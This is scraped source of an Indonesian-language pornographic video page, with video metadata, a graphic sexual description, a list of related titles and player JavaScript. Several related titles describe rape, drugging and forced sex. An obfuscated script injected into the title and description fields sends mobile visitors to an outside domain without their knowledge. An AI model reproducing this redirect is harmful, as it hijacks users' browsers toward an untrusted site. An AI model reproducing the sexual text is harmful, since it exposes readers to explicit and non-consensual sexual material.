</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Kegilaan Pagi MiniDiva! Ibu Rumah Tangga Berkualitas Tinggi Mengabaikan Kopi, Hanya Mencari Seks Dahsyat dan Inseminasi
Kegilaan Pagi MiniDiva! Ibu Rumah Tangga Berkualitas Tinggi Mengabaikan Kopi, Hanya Mencari Seks Dahsyat dan Inseminasi","site_id":0,"video_url":"https://2605.fhbbff.com/20260701/LyqzjSn3/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZmRhM2IxOGYxNjdhZTMxM2MwZDdjYWRhNTU2YmNkNjcuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"9.0","view_count":752,"description":"Sinar matahari pagi menerobos masuk melalui tirai. MiniDiva berbaring lesu di atas seprai yang berantakan, payudaranya yang besar dan seputih salju sebagian terlihat dari gaun tidur renda miliknya, putingnya sudah menegang. Ia dengan lembut menjilat bibirnya, matanya berkaca-kaca, dan berkata, \"Selamat pagi, kopiku adalah kamu.\" Kemudian, ia membuka kakinya, memperlihatkan vulvanya yang sudah basah, cairan tubuhnya mengalir di pahanya. Pria itu menunduk, penisnya yang besar mengarah ke klitorisnya, dan menusuknya dalam-dalam. Ia mendongakkan kepalanya ke belakang dan mengerang, pinggulnya yang besar bergoyang liar sebagai respons. Setiap tusukan menghasilkan suara mendesis, gelombang payudara dan bokongnya yang bergelombang membuat tempat tidur berderit. Mata MiniDiva berputar ke belakang saat ia disetubuhi hingga dinding vaginanya berkedut dan mengencang selama orgasme. Akhirnya, pria itu menggeram saat ia mengeluarkan spermanya yang panas jauh ke dalam rahimnya. Ia gemetar, cairan tubuhnya bercampur dengan cairan vaginanya sendiri, menetes di pahanya ke atas seprai. Ini adalah pagi terbaik yang pernah ada, pesta seksual yang lebih adiktif daripada kopi.","tag":["Pagi","Gila","Kualitas terbaik","Ibu Rumah Tangga Terbaik","istri","menyerah","kopi","Seks yang Dahsyat","Kekerasan dan ejakulasi di dalam","Injeksi"],"site_url":"229111","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":[],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZmRhM2IxOGYxNjdhZTMxM2MwZDdjYWRhNTU2YmNkNjcuanBn.cache","maker":"","table_name":"videos_fhzy10","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"MiniDiva晨间狂干!极品人妻放弃咖啡只求爆操内射","s_keywords":"MiniDiva晨间狂干!极品人妻放弃咖啡只求爆操内射","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Kegilaan Pagi MiniDiva! Ibu Rumah Tangga Berkualitas Tinggi Mengabaikan Kopi, Hanya Mencari Seks Dahsyat dan Inseminasi","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTQ5YTgxYWE1NjcxOWU1MWEwZDE2MDNjYTBkNDRhNTIuanBn.cache","vod_id":19221382,"title":"BBTU-109 Idola Berpayudara Besar Shiga Noamo Layanan Deep Throat, Payudara Menggoda yang Bergetar, Ledakan Tenggorokan dengan Cairan yang Mengalir","lastmod":"2026-03-11","duration":"1:46:53","url":"/play/19221382.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNjI2ZmIyYmM3ZGY2ODM0YzgzNjljMTE2N2RlZGJmYmEuanBn.cache","vod_id":19167638,"title":"IENE973 melihat seorang wanita cantik yang sudah menikah di Shinjuku yang memberikan layanan seks oral kepada seorang pria kulit hitam dan kemudian berhubungan seks dengannya.","lastmod":"2025-03-29","duration":"02:10:49","url":"/play/19167638.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvODhjNDhkNTAwZjVhOTk4NDhlYWY4Y2RhMWMzM2RmZTEuanBn.cache","vod_id":19246431,"title":"Pengantin wanita yang disayangi dan sudah menikah ditunggangi dan ditusuk secara bergantian oleh pria-pria berotot.","lastmod":"2026-07-13","duration":"","url":"/play/19246431.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjNiZGFmYmU4NmY1YjY0MjVmNmRiNjk1ZTA4MDhhNTIuanBn.cache","vod_id":19228297,"title":"Kebejatan di dapur! Seorang ibu rumah tangga yang birahi menggunakan vaginanya sebagai mangkuk, meneguk kaldu mie instan panas mendidih, dan diperkosa secara brutal hingga ia kehilangan kendali atas kandung kemihnya saat makan.","lastmod":"2026-04-09","duration":"0:11:32","url":"/play/19228297.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTFjODhhN2FhMDA5ZjUzYzdkYThjYmVjODgyNmFhYjMuanBn.cache","vod_id":19223014,"title":"[Kisah Seorang Gadis Kelas Atas] Seorang wanita Eropa dan Amerika yang seksi dengan celana kulit hitam mengambil inisiatif untuk menungganginya, terlibat dalam seks liar dan intens, dengan cairan tubuhnya berceceran di mana-mana.","lastmod":"2026-03-20","duration":"0:34:26","url":"/play/19223014.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvOGMwZTBmMjkzOGVlZDBjMzUzYTJlMmYxZTBlNGEwZmQuanBn.cache","vod_id":19238194,"title":"MD0072 Payudara besar Luo Jinxuan diperkosa secara brutal dan diejakulasi di dalam dirinya selama Festival Perahu Naga.","lastmod":"2026-05-31","duration":"0:31:19","url":"/play/19238194.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDk0MmRmZGI1NWI4ZWU4MTZjODJhYWE5MTYwZDQzMmEuanBn.cache","vod_id":19128995,"title":"#Wanwaner_Lingerie, stoking hitam, kaki panjang, gadis berkulit putih berkualitas tinggi, wajah terbuka, alat bantu, masturbasi, posisi menunggang, penetrasi, air mani putih mengalir deras.","lastmod":"2025-03-29","duration":"","url":"/play/19128995.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvMzI5ZmJjNDBmMGYzNTBkOWE4YjY5ZTA0ZWI3NDZkZDMuanBn.cache","vod_id":19245175,"title":"Mengendarai Mercedes-Benz G-Class dan menjadikan pria berotot sebagai selingkuhan! Influencer kebugaran papan atas diperkosa hingga vaginanya mengeluarkan cairan dan memohon ampun. ...title>Mengendarai Mercedes-Benz G-Class dan menjadikan pria berotot sebagai selingkuhan! Influencer kebugaran papan atas diperkosa hingga vaginanya mengeluarkan cairan dan memohon ampun.","lastmod":"2026-07-11","duration":"","url":"/play/19245175.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDkvNWYxM2I2NzE1MjA3ZGQwNTlkYTYxZjcyMThkZWI4NTcuanBn.cache","vod_id":19172189,"title":"SW-125, sebuah bus yang penuh sesak dengan wanita-wanita cantik yang sudah menikah, kewalahan. Afrodisiak disuntikkan ke area sensitif, memaksa mereka mencapai klimaks paksa. Ketiganya—Amamiya Kotone, Araki Arisa, dan Kitajima An—bergetar dalam diam.","lastmod":"2025-04-09","duration":"01:59:57","url":"/play/19172189.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMGY3ZTFiYTU4NDI4NGZiZmRlZWNiOWE0ZDUyYmNjYzkuanBn.cache","vod_id":19228555,"title":"Gadis Elf MMD dengan Payudara Besar Diperkosa dan Diberi Orgasme Secara Brutal oleh Monster Raksasa","lastmod":"2026-04-11","duration":"0:04:16","url":"/play/19228555.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MTMvYzk4NjhlODhjZjI3Mjg5MDcxYTMzYjA1YWY2ZjQwNTMuanBn.cache","vod_id":19189408,"title":"Berapa kali orgasme? Lubang merah mudanya yang lembut menyemburkan cairan tanpa terkendali, begitu nikmat hingga aku kehilangan ingatan! Lubang yang indah itu terlalu menggoda.","lastmod":"2025-08-12","duration":"42:59","url":"/play/19189408.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDEyYjcyZTUyOTZlNzNiZjBhNDU1YTQyN2JhZjRlNjIuanBn.cache","vod_id":19222029,"title":"Instruktur yoga papan atas melakukan gerakan split dengan bokong berbentuk buah persik, lalu menggauli vaginanya dengan intens hingga ia menangis.","lastmod":"2026-03-16","duration":"0:33:38","url":"/play/19222029.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTIzMmEwZDEzNDhhMDQ2NTE1YjgzZTAyNzc3YmJhMTAuanBn.cache","vod_id":19101782,"title":"[Subtitle Bahasa Mandarin] JUQ-366 Hanya untuk Penggunaan Pribadi!! Seorang wanita menikah yang berperilaku baik, seorang pelayan yang akan sepenuhnya mematuhi perintah pamannya. Hari-hari pelatihan perkawinan. Kyoka Tachibana","lastmod":"2025-03-29","duration":"02:32:57","url":"/play/19101782.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTYvZjkzZGNlZmJiYmYwMjMwOWU1YWQ4OWE0MmVkODhhMzAuanBn.cache","vod_id":19194767,"title":"Jingdong 046: Kisah Nyata Pertemuan Seksual di Masyarakat Primitif! Seorang wanita cantik bergelar PhD arkeologi melakukan perjalanan kembali ke Zaman Batu dan diperkosa beramai-ramai secara brutal serta diejakulasi di dalam dirinya oleh pria-pria kuat dari suku primitif!","lastmod":"2025-09-15","duration":"30:19","url":"/play/19194767.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzZkN2UyNjdlMTMxM2IyMDYwNjY4ZjEwMTUyM2ZkYjYuanBn.cache","vod_id":19142377,"title":"OKP041 Celana Ketat Ilahi Kaisar Minghai telah mencicipi kaki indah para wanita yang sudah menikah, ibu, dan wanita pekerja kantoran berseragam!","lastmod":"2025-03-29","duration":"01:33:10","url":"/play/19142377.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZmNhMTQ2NTEyM2EwMThlNDdmZDJmM2UxYjFiZWRmNmQuanBn.cache","vod_id":19130983,"title":"Wanita muda yang sangat cantik dengan ukuran cup C.","lastmod":"2025-03-29","duration":"","url":"/play/19130983.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDUvZjI2NGY1YzJjYzFiZmE1ZTc1MmY1YTBjMTE1ZDExMjkuanBn.cache","vod_id":19171673,"title":"Seorang wanita menikah yang frustrasi secara seksual dan bekerja paruh waktu, posisi berkudanya yang tangguh seperti senapan mesin, Shinmura Akira WAAA-238-C.","lastmod":"2025-04-05","duration":"02:03:40","url":"/play/19171673.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTJiZjcxMGM4MmU4MmIyMGE2MjRmNDk4YTkyMTU5MTAuanBn.cache","vod_id":19130613,"title":"MRSS-141 dan seks menyimpang ibu rumah tangga cantik [Subtitle Bahasa Mandarin]","lastmod":"2025-03-29","duration":"53:49","url":"/play/19130613.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZDczZTdmMmNmODU1MzQ5ODlkYjAzYWQ0YTg4YzAyMmQuanBn.cache","vod_id":19049942,"title":"Ejakulasi tanpa perlindungan adalah kebiasaan yang benar-benar dapat disaksikan.","lastmod":"2025-03-28","duration":"","url":"/play/19049942.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzAxYTI5ODQzYjI0ZTI2ZjMwOTQzOGZmYzU5MDM2NGEuanBn.cache","vod_id":19217473,"title":"Seorang selebriti internet yang sangat cantik dirayu; siaran langsung permainannya berubah menjadi adegan cabul, kemaluannya diperkosa secara brutal hingga cairan berhamburan ke mana-mana.","lastmod":"2026-02-13","duration":"0:16:16","url":"/play/19217473.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvN2I1NGY5OTE2N2E5MzFhZmU1NDllZDU3N2UwODJmNzAuanBn.cache","vod_id":19234002,"title":"DASD-353 Ibu rumah tangga bertubuh montok melarikan diri dari rumah dan diperkosa secara brutal serta diejakulasi di dalam dirinya oleh seorang pria berotot di jalan.","lastmod":"2026-05-11","duration":"0:10:37","url":"/play/19234002.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMmJiNGVjNWZiNDcxMTdmMTg1ZjdhNGI3NDdhOWM3MmYuanBn.cache","vod_id":19211406,"title":"Pesta untuk pria paruh baya! Lima lulusan baru dan gadis-gadis muda dalam pesta cabul, dan tiga mahasiswi terbaik untuk aku ajak bermain!","lastmod":"2025-12-25","duration":"1:34:05","url":"/play/19211406.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvODc1OTk4ZWJiODIzN2U1OGVlZWJhZDE5NTNmOGY1NjEuanBn.cache","vod_id":19242680,"title":"018 Nagano Suzu: Diperkosa dan dikencingi di dalam pada hari yang berbahaya, diperkosa sampai dia orgasme di tempat.","lastmod":"2026-06-27","duration":"2:04:25","url":"/play/19242680.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYmFjZDQwNmYxNWExM2M3NzgyMDc5YThjZjZhNmZlYjAuanBn.cache","vod_id":19214743,"title":"Cosplay Genshin Impact oleh Yanfei: Cosplay Lawful Girl yang seksi dengan tampilan basah dan menggoda, menampilkan ejakulasi internal.","lastmod":"2026-02-02","duration":"0:02:43","url":"/play/19214743.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Kegilaan Pagi MiniDiva! Ibu Rumah Tangga Berkualitas Tinggi Mengabaikan Kopi, Hanya Mencari Seks Dahsyat dan Inseminasi',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}